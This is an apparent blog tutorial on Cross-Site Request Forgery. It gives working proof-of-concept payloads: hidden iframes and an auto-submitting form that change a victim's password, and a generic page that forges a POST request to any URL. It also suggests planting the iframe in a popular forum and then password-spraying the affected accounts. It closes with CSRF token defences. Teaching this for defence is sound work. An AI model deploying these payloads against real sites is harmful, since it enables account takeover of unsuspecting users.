Complete Guide to CSRF

Published:

What is CSRF?

CSRF stands for Cross-Site Request Forgery and is one of the most "popular" web application vulnerabilities around, although, one of the more subtle ones. Before going into details, I like giving a simple yet relevant example onto which we can build upon.

Just like the classic XSS (Cross-Site Scripting) example is the GET Search form, the classic CSRF example is the GET change-password form. The fact that the form is GET is of little significance, it's just easier to create a Proof-Of-Concept.

Suppose we have a web application with the following form at http://web.site/auth/change_password:

<html>
--- SNIP ---
<form method="GET">
    <input name="new_password" type="text"/>
    <input name="repeat_password" type="text" />
    <input type="submit" />
</form>
--- SNIP ---
</html>

CSRF Attack

We can set up a CSRF attack if we can trick somebody to make a request to this URL: http://web.site/auth/change_password. The simplest way to do that is to load the page into an <iframe>. Let's say we can make an authenticated user (authenticated on the web.site web app) visit a page we control (http://bad.site/attack) that contains:

<iframe src="http://web.site/auth/change_password" style="display: none"></iframe>

Now, we have forged the request but didn't do anything. We didn't force the user to change the password. We just need to include the GET parameters:

<iframe src="http://web.site/auth/change_password?new_password=hackerpass&repeat_password=hackerpass" style="display: none"></iframe>

There, you just changed the user password. Let's recap what were the preconditions that helped us achieve this:

  1. The user was already authenticated in the web application - When forging the request the browser includes the Cookies and everything. It treats it as a legit request.
  2. The attacker tricked the user to visit a page under its control.
  3. The page contains an iframe that makes a GET request with the form parameters to the vulnerable web application.

POST CSRF Attack

Your first objection might be that usually, forms are not using the GET method. And you are right, state altering operations should NEVER be done via GET requests. This doesn't mean that you won't find these GET forms in the wild.

There's a simple way to forge POST requests too. Let's say our vulnerable page now has a POST form:

<html>
--- SNIP ---
<form method="POST">
    <input name="new_password" type="text"/>
    <input name="repeat_password" type="text" />
    <input type="submit" />
</form>
--- SNIP ---
</html>

Now, on our attacker page we include another invisible iframe. The iframe contains a page with a POST form. We set the action of the form to the URL of the change password page. We now just need to submit the form. This is easily done via javascript.

<html>
--- SNIP ---
<form id="hackerform" method="POST" action="
http://web.site/auth/change_password">
 <input type="hidden" name="new_password" value="hackerpass" />
 <input type="hidden" name="repeat_password" value="hackerpass" />
</form>
<script>
 // Submit the form
 document.hackerform.submit()
</script>
--- SNIP ---
</html>

We had to include this page in an iframe so that the user doesn't notice the redirection.

In order to be able to attack any form with such an attack we can create a special page and, using only javascript, assemble a form from some given GET params and automatically POST it. Here's a proof of concept (csrf_poster.html) for that page (uses jQuery):

<html>
<head>
    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
</head>
<body>
<form id="csrf_form"></form>
<script type="text/javascript">

// Get the URL parameters in a dictionary
function getURLParameters() {
    var params = {};
    var queryString = window.location.search.substring(1);
    var kvPairs = queryString.split('&');
    for (index = 0, len = kvPairs.length; index < len; ++index) {
        pair = kvPairs[index];
        kv = pair.split('=');
        key = kv[0];
        value = kv[1];
        params[key] = value;
    }
    return params;
};

function buildForm() {
    var params = getURLParameters();

    // Set the action/method of the form
    $('#csrf_form').attr('action', params['url']);
    $('#csrf_form').attr('method', params['method']);

    // Inject form fields for each parameter
    for(paramName in params) {
        if (paramName != 'url' && paramName != 'method') {
            console.log(paramName);
            $('#csrf_form').append(
                "<input type='text' name='" + paramName + 
                "' value='" + params[paramName] + "'/>");
        }
    }
}

// Build the form given URL params
buildForm();

// Perform the CSRF Attack
$('#csrf_form').submit();
</script>

</body>
</html>  

Now open this file in your browser http://localhost/csrf_poster.html?url=http://web.site/auth/change_password&method=POST&new_password=hackerpass&repeat_password=hackerpass

Notice how you get immediately redirected to http://web.site/auth/change_password. If this page would have been opened in an invisible iframe, the user wouldn't notice anything and yet his/her password was changed.

Keep in mind ...

Here are a few more things to consider: - Exploiting CSRF can be the silver bullet that compromises the entire website if you manage to change the password of an admin account - The attacker cannot read the response of the GET/POST request. This is due to Same-Origin Policy. This means for example that if you launch a CSRF attack that changes the admin password, you need to be constantly checking whether that password was successfully changed. - By default other types of requests cannot be forged, also due to the Same-Origin Policy. This becomes possible if the website adds the Header: Access-Control-Allow-Origin: *

You can also persist such attacks. Imagine including the invisible iframe in a popular forum and wait for people to visit the forum while being authenticated on the vulnerable web app as well. After a while you can go to the web application and perform a password spray using the password you've set for all the users. Chances are you've compromised a few accounts.

Protecting against CSRF Attacks

There are 2 main ways of defending against CSRF Attacks, both of them requiring the server to sent a CSRF token to the client and the client to present the CSRF Token back. Most web frameworks these days implement some sort of CSRF protection.

Method 1: Keeping CSRF Tokens in a database

The first method emitting tokens is to generate them and then simply store them in a database/cache/key-value store. You can make them expire after a period so that your database doesn't get filled up. Once a client presents a token you check its validity by looking in the database. If you find the token there, make sure you invalidate it so that it can't be used multiple times. This is the most simple to understand but also the hardest to implement because you need to keep state on the server.

Method 2: Cryptography based Tokens

There are various flavours of this technique. Some use encryption, others use a digest function.

Using Encryption

Implies sending a token formed using this method: encrypt(SESSION_ID + TIMESTAMP). The server verifies the token by decrypting it, checking the validity of SESSION_ID and optionally checking TIMESTAMP.

Using a Digest Function

Pretty much the same as using encryption but this time we are sending this token digest(SESSION_ID + TIMESTAMP) + TIMESTAMP. We included the TIMESTAMP outside the digested part as well to be able to regenerate the digested part. The server verifies the token by trying to recreate it.

Double-Submit Cookie Technique

This is a technique a bit less popular but used for example in the popular Django framework. It implies sending the same token both in a cookie and in the form or an HTTP Header. A malicious page sending requests via javascript can't send the appropriate value in the POST request as the value in the Cookie that the browser automatically sends because it can't read them. Django goes a step further by masking the two tokens using different cyphers. To check if the tokens match, they are unmasked (the cypher is included in the token) and only then compared.

References:

  1. https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#use-built-in-or-existing-csrf-implementations-for-csrf-protection
  2. https://kylebebak.github.io/post/csrf-protection
  3. https://www.vlent.nl/weblog/2016/11/16/how-does-the-django-cross-site-request-forgery-protection-work/
  4. https://owasp.org/www-chapter-london/assets/slides/David_Johansson-Double_Defeat_of_Double-Submit_Cookie.pdf
  5. http://shiflett.org/blog/2007/csrf-redirecto

Read More:

« Attacking SMB